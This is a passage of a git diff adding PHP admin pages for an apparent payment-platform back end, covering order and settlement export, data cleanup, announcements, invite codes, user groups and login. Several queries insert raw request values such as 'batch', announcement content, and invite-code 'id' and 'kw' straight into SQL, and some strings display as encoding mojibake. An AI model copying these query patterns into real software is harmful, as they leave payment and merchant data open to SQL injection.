days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_settle`"); +showmsg('删除结算记录成功!',1); +}elseif($mod=='cleanrecordi' && $_POST['do']=='submit'){ +$days = intval($_POST['days']); +if($days<=0)showmsg('请确保每项不能为空',3); +$DB->exec("DELETE FROM `pre_record` WHERE date<'".date("Y-m-d H:i:s",strtotime("-{$days} days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_record`"); +showmsg('删除资金明细成功!',1); +}elseif($mod=='cleantransferi' && $_POST['do']=='submit'){ +$days = intval($_POST['days']); +if($days<=0)showmsg('请确保每项不能为空',3); +$DB->exec("DELETE FROM `pre_transfer` WHERE paytime<'".date("Y-m-d H:i:s",strtotime("-{$days} days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_transfer`"); +showmsg('删除付款记录成功!',1); +}elseif($mod=='cleanpsorderi' && $_POST['do']=='submit'){ +$days = intval($_POST['days']); +if($days<=0)showmsg('请确保每项不能为空',3); +$DB->exec("DELETE FROM `pre_psorder` WHERE addtime<'".date("Y-m-d H:i:s",strtotime("-{$days} days"))."'"); +$DB->exec("OPTIMIZE TABLE `pre_psorder`"); +showmsg('删除分账记录成功!',1); +}else{ +?> +
    +

    系统数据清理

    +
    +清理设置缓存
    +删除30天前订单记录
    +删除30天前结算记录
    +删除30天前资金明细
    +

    自定义清理:

    +
    +订单记录天前的订单记录  +

    +
    +结算记录天前的结算记录  +

    +
    +资金明细天前的订单记录  +

    +
    +付款记录天前的付款记录  +

    +
    +分账记录天前的分账记录  +

    +
    + +
    + +
    +
    \ No newline at end of file diff --git a/admin/code.php b/admin/code.php new file mode 100644 index 0000000..eeaaca6 --- /dev/null +++ b/admin/code.php @@ -0,0 +1,9 @@ +doimg(); +$_SESSION['vc_code'] = $_vc->getCode(); +?> \ No newline at end of file diff --git a/admin/domain.php b/admin/domain.php new file mode 100644 index 0000000..2020ce0 --- /dev/null +++ b/admin/domain.php @@ -0,0 +1,229 @@ +window.location.href='./login.php';"); +?> +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + + 添加 + +
    + + +
    +
    + + +
    +
    +
    + + + + + \ No newline at end of file diff --git a/admin/download.php b/admin/download.php new file mode 100644 index 0000000..8e51339 --- /dev/null +++ b/admin/download.php @@ -0,0 +1,288 @@ +window.location.href='./login.php';"); + +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +function display_type($type){ + if($type==1) + return '֧'; + elseif($type==2) + return '΢'; + elseif($type==3) + return 'QQǮ'; + elseif($type==4) + return 'п'; + else + return 1; +} + +function display_status($status){ + if($status==1){ + return '֧'; + }elseif($status==2){ + return '˿'; + }elseif($status==3){ + return 'Ѷ'; + }else{ + return 'δ֧'; + } +} + +function text_encoding($text){ + return mb_convert_encoding($text, "GBK", "UTF-8"); +} + +switch($act){ +case 'settle': +$type = isset($_GET['type'])?trim($_GET['type']):'common'; +$batch=$_GET['batch']; +$remark = text_encoding($conf['transfer_desc']); + +if($type == 'mybank'){ + $data="տ,տ˺,տ,տк,,/;\r\n"; + + $rs=$DB->query("SELECT * from pre_settle where batch='$batch' and (type=1 or type=4) order by id asc"); + $i=0; + while($row = $rs->fetch()) + { + $i++; + $data.=text_encoding($row['username']).','.$row['account'].','.($row['type']=='1'?'֧':'').',,'.$row['realmoney'].','.$remark."\r\n"; + } + +}elseif($type == 'alipay'){ + $data="֧ļģ\r\n"; + $data.="ţ,տ֧˺ţ,տ,λԪ,עѡ\r\n"; + + $rs=$DB->query("SELECT * from pre_settle where batch='$batch' and type=1 order by id asc"); + $i=0; + while($row = $rs->fetch()) + { + $i++; + $data.=$i.','.$row['account'].','.text_encoding($row['username']).','.$row['realmoney'].','.$remark."\r\n"; + } + +}elseif($type == 'wxpay'){ + if(!$conf['transfer_wxpay'])sysmsg(mb_convert_encoding("δ΢ҵ", "UTF-8", "GB2312")); + $channel = \lib\Channel::get($conf['transfer_wxpay']); + if(!$channel)sysmsg(mb_convert_encoding("ǰ֧ͨϢ", "UTF-8", "GB2312")); + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo)sysmsg(mb_convert_encoding("֧ͨ󶨵΢ŹںŲ", "UTF-8", "GB2312")); + + $rs=$DB->query("SELECT * from pre_settle where batch='$batch' and type=2 order by id asc"); + $i=0; + $table="̼ϸţ,տûopenid,տûѡ,տû֤ѡ,ת˽λԪ,ת˱ע\r\n"; + $allmoney = 0; + while($row = $rs->fetch()) + { + $i++; + $table.=$batch.$i.','.$row['account'].','.text_encoding($row['username']).',,'.$row['realmoney'].','.$remark."\r\n"; + $allmoney+=$row['realmoney']; + } + + $data="΢֧ת˵Ǯģ棨ɾ\r\n"; + $data.="̼εţ,".$batch."\r\n"; + $data.="ƣ,ת".$batch."\r\n"; + $data.="תappid,".$wxinfo['appid']."\r\n"; + $data.="תܽλԪ,".$allmoney."\r\n"; + $data.="תܱ,".$i."\r\n"; + $data.="αע,ת".$batch."\r\n"; + $data.=",\r\n"; + $data.="תϸɾ\r\n"; + $data.=$table; + +}else{ + $data=",տʽ,տ˺,տ,Ԫ,\r\n"; + $rs=$DB->query("SELECT * from pre_settle where batch='$batch' order by type asc,id asc"); + $i=0; + while($row = $rs->fetch()) + { + $i++; + $data.=$i.','.display_type($row['type']).','.$row['account'].','.text_encoding($row['username']).','.$row['realmoney'].','.$remark."\r\n"; + } + +} + +$file_name='pay_'.$type.'_'.$batch.'.csv'; +$file_size=strlen($data); +header("Content-Description: File Transfer"); +header("Content-Type: application/force-download"); +header("Content-Length: {$file_size}"); +header("Content-Disposition:attachment; filename={$file_name}"); +echo $data; +break; + +case 'ustat': +$startday = trim($_GET['startday']); +$endday = trim($_GET['endday']); +$method = trim($_GET['method']); +$type = intval($_POST['type']); +if(!$startday || !$endday)exit(""); +$data = []; +$columns = ['uid'=>'̻ID', 'total'=>'ܼ']; + +if($method == 'type'){ + $paytype = []; + $rs = $DB->getAll("SELECT id,name,showname FROM pre_type WHERE status=1"); + foreach($rs as $row){ + $paytype[$row['id']] = text_encoding($row['showname']); + if($type == 4){ + $columns['type_'.$row['name']] = text_encoding($row['showname']); + }else{ + $columns['type_'.$row['id']] = text_encoding($row['showname']); + } + } + unset($rs); +}else{ + $channel = []; + $rs = $DB->getAll("SELECT id,name FROM pre_channel WHERE status=1"); + foreach($rs as $row){ + $channel[$row['id']] = text_encoding($row['name']); + } + unset($rs); +} + +if($type == 4){ + $rs=$DB->query("SELECT uid,type,channel,money from pre_transfer where status=1 and paytime>='$startday' and paytime<='$endday'"); + while($row = $rs->fetch()) + { + $money = (float)$row['money']; + if(!array_key_exists($row['uid'], $data)) $data[$row['uid']] = ['uid'=>$row['uid'], 'total'=>0]; + $data[$row['uid']]['total'] += $money; + if($method == 'type'){ + $ukey = 'type_'.$row['type']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + }else{ + $ukey = 'channel_'.$row['channel']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + if(!in_array($ukey, $columns)) $columns[$ukey] = $channel[$row['channel']]; + } + } +}else{ + $rs=$DB->query("SELECT uid,type,channel,money,realmoney,getmoney,profitmoney from pre_order where status=1 and date>='$startday' and date<='$endday'"); + while($row = $rs->fetch()) + { + if($type == 3){ + $money = (float)$row['profitmoney']; + }elseif($type == 2){ + $money = (float)$row['getmoney']; + }elseif($type == 1){ + $money = (float)$row['realmoney']; + }else{ + $money = (float)$row['money']; + } + if(!array_key_exists($row['uid'], $data)) $data[$row['uid']] = ['uid'=>$row['uid'], 'total'=>0]; + $data[$row['uid']]['total'] += $money; + if($method == 'type'){ + $ukey = 'type_'.$row['type']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + }else{ + $ukey = 'channel_'.$row['channel']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + if(!in_array($ukey, $columns)) $columns[$ukey] = $channel[$row['channel']]; + } + } +} +ksort($data); + +$file=''; +foreach($columns as $column){ + $file.=$column.','; +} +$file=substr($file,0,-1)."\r\n"; +foreach($data as $row){ + foreach($columns as $key=>$column){ + if(!array_key_exists($key, $row)) + $file.='0,'; + else + $file.=$row[$key].','; + } + $file=substr($file,0,-1)."\r\n"; +} + +$file_name='pay_'.$method.'_'.$startday.'_'.$endday.'.csv'; +$file_size=strlen($file); +header("Content-Description: File Transfer"); +header("Content-Type: application/force-download"); +header("Content-Length: {$file_size}"); +header("Content-Disposition:attachment; filename={$file_name}"); +echo $file; +break; + +case 'order': +$starttime = trim($_GET['starttime']); +$endtime = trim($_GET['endtime']); +$uid = intval($_GET['uid']); +$type = intval($_GET['type']); +$channel = intval($_GET['channel']); +$dstatus = intval($_GET['dstatus']); + +$paytype = []; +$rs = $DB->getAll("SELECT * FROM pre_type"); +foreach($rs as $row){ + $paytype[$row['id']] = text_encoding($row['showname']); +} +unset($rs); + +$sql=" 1=1"; +if(!empty($uid)) { + $sql.=" AND A.`uid`='$uid'"; +} +if(!empty($type)) { + $sql.=" AND A.`type`='$type'"; +}elseif(!empty($channel)) { + $sql.=" AND A.`channel`='$channel'"; +} +if($dstatus>-1) { + $sql.=" AND A.status={$dstatus}"; +} +if(!empty($starttime)){ + $starttime = date("Y-m-d H:i:s", strtotime($starttime.' 00:00:00')); + $sql.=" AND A.addtime>='{$starttime}'"; +} +if(!empty($endtime)){ + $endtime = date("Y-m-d H:i:s", strtotime("+1 days", strtotime($endtime.' 00:00:00'))); + $sql.=" AND A.addtime<'{$endtime}'"; +} + +$file="ϵͳ,̻,ӿڶ,̻,վ,Ʒ,,ʵ֧,ֳ̻,֧ʽ,֧ͨID,֧,֧˺,֧IP,ʱ,ʱ,֧״̬\r\n"; + +$rs = $DB->query("SELECT A.*,B.plugin FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE{$sql} order by trade_no desc limit 100000"); +while($row = $rs->fetch()){ + $file.='="'.$row['trade_no'].'",="'.$row['out_trade_no'].'",="'.$row['api_trade_no'].'",'.$row['uid'].','.$row['domain'].','.text_encoding($row['name']).','.$row['money'].','.$row['realmoney'].','.$row['getmoney'].','.$paytype[$row['type']].','.$row['channel'].','.$row['plugin'].','.$row['buyer'].','.$row['ip'].','.$row['addtime'].','.$row['endtime'].','.display_status($row['status'])."\r\n"; +} + +$file_name='order_'.$starttime.'_'.$endtime.'.csv'; +$file_size=strlen($file); +header("Content-Description: File Transfer"); +header("Content-Type: application/force-download"); +header("Content-Length: {$file_size}"); +header("Content-Disposition:attachment; filename={$file_name}"); +echo $file; +break; + +case 'wximg': + if(!checkRefererHost())exit(); + $channelid = intval($_GET['channel']); + $subchannelid = intval($_GET['subchannel']); + $media_id = $_GET['mediaid']; + $channel = $subchannelid ? \lib\Channel::getSub($subchannelid) : \lib\Channel::get($channelid); + $model = \lib\Complain\CommUtil::getModel($channel); + $image = $model->getImage($media_id); + if($image !== false){ + $seconds_to_cache = 3600*24*7; + header("Cache-Control: max-age=$seconds_to_cache"); + header("Content-Type: image/jpeg"); + echo $image; + } +break; + +default: + exit('No Act'); +break; +} \ No newline at end of file diff --git a/admin/export.php b/admin/export.php new file mode 100644 index 0000000..35d4a79 --- /dev/null +++ b/admin/export.php @@ -0,0 +1,74 @@ +window.location.href='./login.php';"); + +$type_select = ''; +$rs = $DB->getAll("SELECT * FROM pre_type ORDER BY id ASC"); +foreach($rs as $row){ + $type_select .= ''; +} +unset($rs); +?> + +
    +
    +
    +

    导出订单

    +
    +
    +
    +
    时间范围
    + + + +
    +
    +
    商户号
    + +
    +
    +
    支付方式
    + +
    +
    +
    通道ID
    + +
    +
    +
    订单状态
    + +
    +

    +
    +
    +
    +
    +
    + + + + \ No newline at end of file diff --git a/admin/gedit.php b/admin/gedit.php new file mode 100644 index 0000000..81f828e --- /dev/null +++ b/admin/gedit.php @@ -0,0 +1,265 @@ +window.location.href='./login.php';"); + +$paytype = []; +$rs = $DB->getAll("SELECT * FROM pre_type WHERE status=1 ORDER BY id ASC"); +foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; +} +unset($rs); + +$alipay_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%alipay%')"); +$wxpay_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%wxpay%')"); +$qqpay_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%qqpay%')"); +$bank_channel = $DB->getAll("SELECT id,name,plugin FROM pre_channel WHERE plugin IN (SELECT name FROM pre_plugin WHERE transtypes LIKE '%bank%')"); + +$grouprow = []; +$act = isset($_GET['act'])?daddslashes($_GET['act']):null; +if($act == 'edit'){ + $id = isset($_GET['gid'])?intval($_GET['gid']):0; + $grouprow = $DB->getRow("SELECT * FROM pre_group WHERE gid='$id' LIMIT 1"); + if(!$grouprow) showmsg('当前用户组不存在!',3); + $title = '编辑用户组 GID:'.$id; + $grouprow['info'] = json_decode($grouprow['info'], true); + $grouprow['config'] = $grouprow['config'] ? json_decode($grouprow['config'], true) : []; +}else{ + $title = '新增用户组'; +} +?> + +
    +
    +
    +

    +
    +
    + + +
    +
    +
    + +
    + +
    +
    +
    + +
    + + + +$value) +{ +$select = ''; +$rs = $DB->getAll("SELECT * FROM pre_channel WHERE type='$key' AND status=1"); +foreach($rs as $row){ + $select .= ''; +} +$rs = $DB->getAll("SELECT * FROM pre_roll WHERE type='$key' AND status=1"); +foreach($rs as $row){ + $select .= ''; +} +echo ''; +} +?> + +
    支付方式选择支付通道填写分成比例
    '.$value.'
    %
    +
    +
    +
    + +
    + + + + + + + + +
    转账方式选择支付通道
    支付宝
    微信支付
    QQ钱包
    银行卡
    +
    +
    +
    + +
    + 用于替换支付通道密钥配置里面的变量,如选“用户自定义子通道”,则此处不需要填写 +
    +
    +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    %
    +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    %
    +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    %
    +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + + +
    >>返回用户组设置 +
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/gettoken.php b/admin/gettoken.php new file mode 100644 index 0000000..1ab3206 --- /dev/null +++ b/admin/gettoken.php @@ -0,0 +1,169 @@ +window.location.href='./login.php';"); +?> +
    +
    + + +
    +

    获取用户标识

    +
    + +
    + + +getAll("SELECT * FROM pre_weixin WHERE type=0"); + $default_wx = $conf['login_wx']; + if($conf['transfer_wxpay']){ + $channel = \lib\Channel::get($conf['transfer_wxpay']); + if($channel) { + $default_wx = $channel['appwxmp']; + } + } + ?> +
    +
    +
    选择微信公众号
    + +
    + 在公众号小程序管理里面添加公众号 +
    +
    +
    +
    获取链接
    + +
    +
    + 复制链接后在微信打开 +
    +
    + 或使用微信扫描以下二维码 +
    +
    +
    +
    +getAll("SELECT * FROM pre_channel WHERE plugin='alipay' OR plugin='alipaysl' OR plugin='alipayd' OR plugin='alipayrp'"); + ?> +
    +
    +
    选择支付通道
    + +
    + 支持alipay、alipaysl、alipayd支付插件,需要先在支付宝应用的授权回调地址配置好当前域名 +
    +
    +
    +
    获取链接
    + +
    +
    + 复制链接后在支付宝打开 +
    +
    + 或使用支付宝扫描以下二维码 +
    +
    +
    +
    +getAll("SELECT * FROM pre_channel WHERE plugin='alipaysl'"); + ?> +
    +
    +
    选择支付通道
    + +
    + 支持alipaysl支付插件,需要先在支付宝应用(第三方应用)的授权回调地址配置好回调地址 +
    +
    +
    +
    授权方式
    + +
    +
    +
    +
    +
    获取链接
    + +
    +
    + 复制链接后在支付宝打开 +
    +
    + 或使用支付宝扫描以下二维码 +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + \ No newline at end of file diff --git a/admin/glist.php b/admin/glist.php new file mode 100644 index 0000000..9dc0650 --- /dev/null +++ b/admin/glist.php @@ -0,0 +1,85 @@ +window.location.href='./login.php';"); +?> +
    +
    +getAll("SELECT * FROM pre_type WHERE status=1 ORDER BY id ASC"); +foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; +} +unset($rs); + +function display_info($info){ + global $paytype; + $result = ''; + $arr = json_decode($info, true); + foreach($arr as $k=>$v){ + if($v['channel']==0)continue; + $result .= $paytype[$k].'('.$v['channel'].'):'.$v['rate'].','; + } + return substr($result,0,-1); +} + +$list = $DB->getAll("SELECT * FROM pre_group ORDER BY gid ASC"); +?> +
    +

    系统共有 个用户组  新增

    +
    + + + +'; +} +?> + +
    GID用户组名称通道与费率操作
    '.$res['gid'].''.$res['name'].''.display_info($res['info']).'用户 编辑 删除
    +
    + +
    +
    +
    + + \ No newline at end of file diff --git a/admin/gonggao.php b/admin/gonggao.php new file mode 100644 index 0000000..1d1406b --- /dev/null +++ b/admin/gonggao.php @@ -0,0 +1,169 @@ +window.location.href='./login.php';"); +?> + +
    +
    +getRow("select * from pre_anounce where id='$id' limit 1"); + if(!$rows) + showmsg('当前公告不存在!',3); +?> +
    +

    修改公告(ID:)

    +
    +
    +
    +
    +
    公告内容
    + +
    +
    +
    +
    +
    排序
    + +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +exec("INSERT INTO `pre_anounce` (`content`, `color`, `sort`, `addtime`, `status`) VALUES ('{$content}', '{$color}', '{$sort}', '{$date}', 1)"); +if($sds){ + showmsg('添加公告成功!

    >>返回公告列表',1); +}else + showmsg('添加公告失败!
    错误信息:'.$DB->error(),4); +} +} +elseif($my=='edit_submit'){ +$id=intval($_GET['id']); +$rows=$DB->getRow("select * from pre_anounce where id='$id' limit 1"); +if(!$rows) + showmsg('当前公告不存在!',3); +$content=$_POST['content']; +$sort=intval($_POST['sort']); +$color=trim($_POST['color']); +if(!$content || !$sort){ +showmsg('公告内容不能为空',3); +} else { +$sds=$DB->exec("UPDATE `pre_anounce` SET `content`='$content',`sort`='$sort',`color`='$color' WHERE `id`='$id'"); +if($sds!==false){ + showmsg('修改公告成功!

    >>返回公告列表',1); +}else + showmsg('修改公告失败!
    错误信息:'.$DB->error(),4); +} +}else{ +$list = $DB->getAll("SELECT * FROM pre_anounce ORDER BY sort ASC"); +?> +
    +

    添加公告

    +
    +
    +
    +
    +
    公告内容
    + +
    +
    +
    +
    +
    排序
    + +
    +
    + + +
    +
    + +
    +
    +
    +
    +

    已发公告

    +
    + +
    +  -  显示':'隐藏'?> 编辑 删除 +
    + +
    +
    + +
    +
    + + + \ No newline at end of file diff --git a/admin/group.php b/admin/group.php new file mode 100644 index 0000000..3951937 --- /dev/null +++ b/admin/group.php @@ -0,0 +1,134 @@ +window.location.href='./login.php';"); +?> + +
    +
    +getAll("SELECT * FROM pre_group WHERE isbuy=1 ORDER BY SORT ASC"); +$list2 = $DB->getAll("SELECT * FROM pre_group WHERE isbuy=0"); +?> +
    +
    +
    用户组购买开关:已开启  点击关闭':'已关闭  点击开启';?>
    +
    +
    +
    +

    可购买的用户组 (

    +
    + + + +'; +} +if(count($list1)>0)echo ''; +?> + +
    GID用户组名称售价有效期(月)排序可见范围 操作
    '.$res['gid'].''.$res['name'].'下架
    保存全部
    +
    +
    +
    +

    不可购买的用户组 (

    +
    + + + +'; +} +?> + +
    GID用户组名称操作
    '.$res['gid'].''.$res['name'].'上架
    +
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/head.php b/admin/head.php new file mode 100644 index 0000000..120208e --- /dev/null +++ b/admin/head.php @@ -0,0 +1,120 @@ + + + + + + + + <?php echo $title ?> + + + + + + + + + + + + + \ No newline at end of file diff --git a/admin/index.php b/admin/index.php new file mode 100644 index 0000000..634b835 --- /dev/null +++ b/admin/index.php @@ -0,0 +1,176 @@ +window.location.href='./login.php';"); +?> + 提示 请及时修改网站默认管理员密码!'; +}elseif(strlen($conf['admin_pwd'])<6 || is_numeric($conf['admin_pwd']) && strlen($conf['admin_pwd'])<=10 || $conf['admin_pwd']===$conf['kfqq'] || $conf['admin_user']===$conf['admin_pwd']){ + $msg[]='
  • 提示 网站管理员密码过于简单,请及时修改密码!
  • '; +} +?> +
    +
    +
    + +
    +
    +
    +

    后台管理首页

    +
      + +
    • 订单总数:
    • +
    • 商户数量:
    • +
    • 总计余额: 元(1小时更新一次)
    • +
    • 结算总额: 元(1小时更新一次)
    • +
    • 今日订单成功率: %
    • +
    • 现在时间:
    • + +
    +
    +
    +
    +
    +

    管理员信息

    + +
    +
    +
    +
    +

    支付方式收入统计(1小时更新一次)

    + + + + +
    日期
    +
    +
    +

    支付通道收入统计(1小时更新一次)

    +
    + + + + +
    日期
    +
    +
    +
    +

    支付方式手续费利润(已扣除通道成本,1小时更新一次)

    + + + + +
    日期
    +
    +
    +
    + + \ No newline at end of file diff --git a/admin/invitecode.php b/admin/invitecode.php new file mode 100644 index 0000000..0ceeca1 --- /dev/null +++ b/admin/invitecode.php @@ -0,0 +1,183 @@ +window.location.href='./login.php';"); +?> + +
    +
    +
  • 成功生成以下邀请码
  • "; +for ($i = 0; $i < $num; $i++) { + $km=random(8); + $sql=$DB->query("insert into `pre_invitecode` (`code`,`addtime`,`status`) values ('".$km."',NOW(),0)"); + if($sql) { + echo "
  • $km
  • "; + } +} + +echo '>>返回邀请码列表'; +} + +elseif($my=='del'){ +echo '
    +

    删除邀请码

    +
    '; +$id=$_GET['id']; +$sql=$DB->query("DELETE FROM pre_invitecode WHERE id='$id'"); +if($sql){echo '删除成功!';} +else{echo '删除失败!';} +echo '
    >>返回邀请码列表
    '; +} + +elseif($my=='qk'){//清空邀请码 +if(!checkRefererHost())exit(); +echo '
    +

    清空邀请码

    +
    +您确认要清空所有邀请码吗?清空后无法恢复!
    确认 | 返回
    '; +} +elseif($my=='qk2'){//清空邀请码结果 +if(!checkRefererHost())exit(); +echo '
    +

    清空邀请码

    +
    '; +if($DB->query("DELETE FROM pre_invitecode WHERE 1")==true){ +echo '
    清空成功.
    '; +}else{ +echo'
    清空失败.
    '; +} +echo '
    >>返回邀请码列表
    '; +} +elseif($my=='qkuse'){//清空已使用邀请码 +if(!checkRefererHost())exit(); +echo '
    +

    清空邀请码

    +
    +您确认要清空所有邀请码吗?清空后无法恢复!
    确认 | 返回
    '; +} +elseif($my=='qkuse2'){//清空已使用邀请码结果 +if(!checkRefererHost())exit(); +echo '
    +

    清空邀请码

    +
    '; +if($DB->exec("DELETE FROM pre_invitecode WHERE status=1")!==false){ +echo '
    清空成功.
    '; +}else{ +echo'
    清空失败.
    '; +} +echo '
    >>返回邀请码列表
    '; +} +else +{ + +echo '
    +
    + + +
    + + 清空 + 清空已使用 + 生成 +
    '; + +if(isset($_GET['kw'])) { + $sql=" `code`='{$_GET['kw']}'"; + $numrows=$DB->getColumn("SELECT count(*) from pre_invitecode WHERE{$sql}"); + $con='包含 '.$_GET['kw'].' 的共有 '.$numrows.' 个邀请码'; +}else{ + $numrows=$DB->getColumn("SELECT count(*) from pre_invitecode WHERE 1"); + $sql=" 1"; + $con='系统共有 '.$numrows.' 个邀请码'; +} +echo $con; +?> +
    + + + +query("SELECT * FROM pre_invitecode WHERE{$sql} order by id desc limit $offset,$pagesize"); +while($res = $rs->fetch()) +{ +echo ''; +} +?> + +
    邀请码状态添加时间使用时间使用者操作
    '.$res['code'].''.($res['status']==1?'已使用':'未使用').''.$res['addtime'].''.$res['usetime'].''.$res['uid'].'删除
    +
    +'; +$first=1; +$prev=$page-1; +$next=$page+1; +$last=$pages; +if ($page>1) +{ +echo '
  • 首页
  • '; +echo '
  • «
  • '; +} else { +echo '
  • 首页
  • '; +echo '
  • «
  • '; +} +for ($i=1;$i<$page;$i++) +echo '
  • '.$i .'
  • '; +echo '
  • '.$page.'
  • '; +for ($i=$page+1;$i<=$pages;$i++) +echo '
  • '.$i .'
  • '; +echo ''; +if ($page<$pages) +{ +echo '
  • »
  • '; +echo '
  • 尾页
  • '; +} else { +echo '
  • »
  • '; +echo '
  • 尾页
  • '; +} +echo''; +#分页 +} +?> +
    +
    \ No newline at end of file diff --git a/admin/loader_helper.php b/admin/loader_helper.php new file mode 100644 index 0000000..a6d1d78 --- /dev/null +++ b/admin/loader_helper.php @@ -0,0 +1,36 @@ + +
    +
    +
    += 8.1){ + showmsg('当前插件只支持PHP-8.0版本!'); +} +if(!file_exists($loader_path)){ + showmsg('Swoole Loader文件不存在,请联系管理员手动安装!'); +}?> +
    +

    Swoole Loader 安装助手

    +
    +

    1、打开您的PHP配置文件(),如果是宝塔面板,在【软件商店】,找到PHP,点击【设置】->【配置文件】

    +

    2、PHP配置文件底部找一下,如果以前添加过类似extension=swoole_loader_***.这样的代码,先将其删掉,如果没有就下一步

    +

    3、将下面的代码复制到PHP配置文件的最后一行保存:

    +

    extension=

    +

    4、重启php进程

    +

    5、刷新本页面

    +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/admin/log.php b/admin/log.php new file mode 100644 index 0000000..7d976a2 --- /dev/null +++ b/admin/log.php @@ -0,0 +1,77 @@ +window.location.href='./login.php';"); +?> +
    +
    +
    +
    + + +
    +
    + +
    + + +
    + + +
    +
    +
    + + + + + \ No newline at end of file diff --git a/admin/login.php b/admin/login.php new file mode 100644 index 0000000..e69de70 --- /dev/null +++ b/admin/login.php @@ -0,0 +1,143 @@ +-1,'msg'=>'用户名或密码不能为空'])); + } + if($verifycode==1 && (!$code || strtolower($code) != $_SESSION['vc_code'])){ + exit(json_encode(['code'=>-1,'msg'=>'验证码错误'])); + } + $errcount = $DB->getColumn("SELECT count(*) FROM `pre_log` WHERE `ip`='$clientip' AND `date`>DATE_SUB(NOW(),INTERVAL 1 DAY) AND `uid`=0 AND `type`='登录失败'"); + if($errcount >= $login_limit_count && file_exists($login_limit_file)){ + exit(json_encode(['code'=>-1,'msg'=>'多次登录失败,暂时禁止登录。可删除@login.lock文件解除限制'])); + } + if($username == $conf['admin_user'] && $password == $conf['admin_pwd']){ + $DB->insert('log', ['uid'=>0, 'type'=>'登录后台', 'date'=>'NOW()', 'ip'=>$clientip]); + $session=md5($username.$password.$password_hash); + $expiretime=time() + 2592000; + $token=authcode("{$username}\t{$session}\t{$expiretime}", 'ENCODE', SYS_KEY); + setcookie("admin_token", $token, $expiretime, null, null, null, true); + unset($_SESSION['vc_code']); + exit(json_encode(['code'=>0])); + }else{ + $DB->insert('log', ['uid'=>0, 'type'=>'登录失败', 'date'=>'NOW()', 'ip'=>$clientip]); + unset($_SESSION['vc_code']); + $errcount++; + $retry_times = $login_limit_count - $errcount; + if($retry_times < 0) $retry_times = 0; + if($retry_times <= 0){ + file_put_contents($login_limit_file, '1'); + exit(json_encode(['code'=>-1,'msg'=>'多次登录失败,暂时禁止登录。可删除@login.lock文件解除限制','vcode'=>1])); + }else{ + exit(json_encode(['code'=>-1,'msg'=>'用户名或密码错误,你还可以尝试'.$retry_times.'次','vcode'=>1])); + } + } +}elseif(isset($_GET['logout'])){ + if(!checkRefererHost())exit(); + setcookie("admin_token", "", time() - 2592000); + exit(""); +}elseif($islogin==1){ + exit(""); +} +$title='用户登录'; +include './head.php'; +?> + +
    +
    +
    +

    管理员登录

    +
    +
    +
    + + +

    +
    + + +

    + +
    + + + + + +

    + +
    +
    +
    +
    +
    +
    +
    +
    + + + + \ No newline at end of file diff --git a/admin/order.php b/admin/order.php new file mode 100644 index 0000000..3d2a855 --- /dev/null +++ b/admin/order.php @@ -0,0 +1,941 @@ +window.location.href='./login.php';"); + +$type_select = ''; +$rs = $DB->getAll("SELECT * FROM pre_type ORDER BY id ASC"); +foreach($rs as $row){ + $type_select .= ''; +} +unset($rs); +?> + + +
    +
    + +
    + +
    + + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    + +
    + + + + +
    + +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/admin/pay_channel.php b/admin/pay_channel.php new file mode 100644 index 0000000..1d024f9 --- /dev/null +++ b/admin/pay_channel.php @@ -0,0 +1,599 @@ +window.location.href='./login.php';"); + +$type_select = ''; +$type_select2 = ''; +$rs = $DB->getAll("SELECT * FROM pre_type ORDER BY id ASC"); +foreach($rs as $row){ + $type_select .= ''; + $type_select2 .= ''; +} +unset($rs); +?> + + + + +
    +
    +
    +
    + + +
    + + +
    +
    + +
    +
    + +
    +
    + +
    + + 重置 + 新增 +
    + + +
    + +
    +
    +
    + + + + + \ No newline at end of file diff --git a/admin/pay_plugin.php b/admin/pay_plugin.php new file mode 100644 index 0000000..4059294 --- /dev/null +++ b/admin/pay_plugin.php @@ -0,0 +1,42 @@ +window.location.href='./login.php';"); +?> +
    +
    +alert('刷新插件列表成功!');history.go(-1);"); +}else{ +$list = \lib\Plugin::getAll(); +?> +
    +

    系统共有 个支付插件  刷新插件列表

    +
    + + + +'; +} +?> + +
    插件名称插件描述插件作者包含的支付方式包含的转账方式
    '.$res['name'].''.$res['showname'].''.($res['link']?''.$res['author'].' +':$res['author']).''.$res['types'].''.$res['transtypes'].'
    +
    + +
    + +
    +
    \ No newline at end of file diff --git a/admin/pay_roll.php b/admin/pay_roll.php new file mode 100644 index 0000000..4512b64 --- /dev/null +++ b/admin/pay_roll.php @@ -0,0 +1,309 @@ +window.location.href='./login.php';"); +?> + +
    +
